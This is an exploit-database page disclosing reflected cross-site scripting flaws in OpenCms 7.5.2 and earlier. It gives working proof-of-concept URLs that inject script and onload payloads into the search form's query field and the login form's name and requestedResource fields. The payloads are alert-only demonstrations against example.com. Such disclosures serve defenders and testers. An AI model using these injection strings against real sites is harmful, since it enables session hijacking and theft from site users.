[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Alkakon OpenCms 7.5.2 and below non persistent XSS

Author
EgoPL
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-10965
Category
web applications
Date add
18-02-2010
Platform
unsorted
==================================================
Alkakon OpenCms 7.5.2 and below non persistent XSS
==================================================

# Exploit Title: Alkakon OpenCms 7.5.2 and below non persistent XSS.
# Author: EgoPL
# Software Link: http://www.opencms.org/en/
# Version: 7.5.2 and below.
# Tested on: Arch Linux + Apache Tomcat but it's OS independent.

# Description of the webapp:

OpenCms is a complete and powerful open source web content management system. Alkacon Software GmbH is the official maintainer and the major contributor for OpenCms.

OpenCms provides powerful features especially suited for medium and large enterprise internet or intranet applications.

OpenCms is a Java and XML based system, completly build from open source components. This means OpenCms be deployed on almost any existing IT infrastructure without high licensing costs.

# XSS by the Wikipedia.

Cross-site scripting holes are web application vulnerabilities which allow attackers to bypass client-side security mechanisms normally imposed on web content by modern browsers. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access privileges to sensitive page content, session cookies, and a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are therefore a special case of code injection.

# Proof of concept (Because I need to sleep and I dont want to do anything more elaborated, anyway, that's a "dummy bug"

Search Form:
http://www.example.com/opencms/search.html?action=search&searchPage=1&query=>"><script>alert("EgoPL says: Hi, I'm in a XSS"</script>&submit=GO

Login-form (not the admin login form and It's located in extra in the "demo_en" default installation of OpenCMS but really can be in the index or anywhere, name and requestedResource are vulnerable.)


Using name:
http://www.example.com/opencms/extra/login.html?name=<body+xonload=alert("I'm at @EgoPL in Twitter">&password=securepassword&action=login&requestedResource=%252Fdemo_en%252Fextra%252Fextranet%252Findex.html

Using requestedResource:
http://www.example.com/opencms/extra/login.html?name=EgoPL&password=4815162342&action=login&requestedResource=>"><script>alert("I love Lost, I saw today Lost 6x04"</script>



#  0day.today [2024-11-15]  #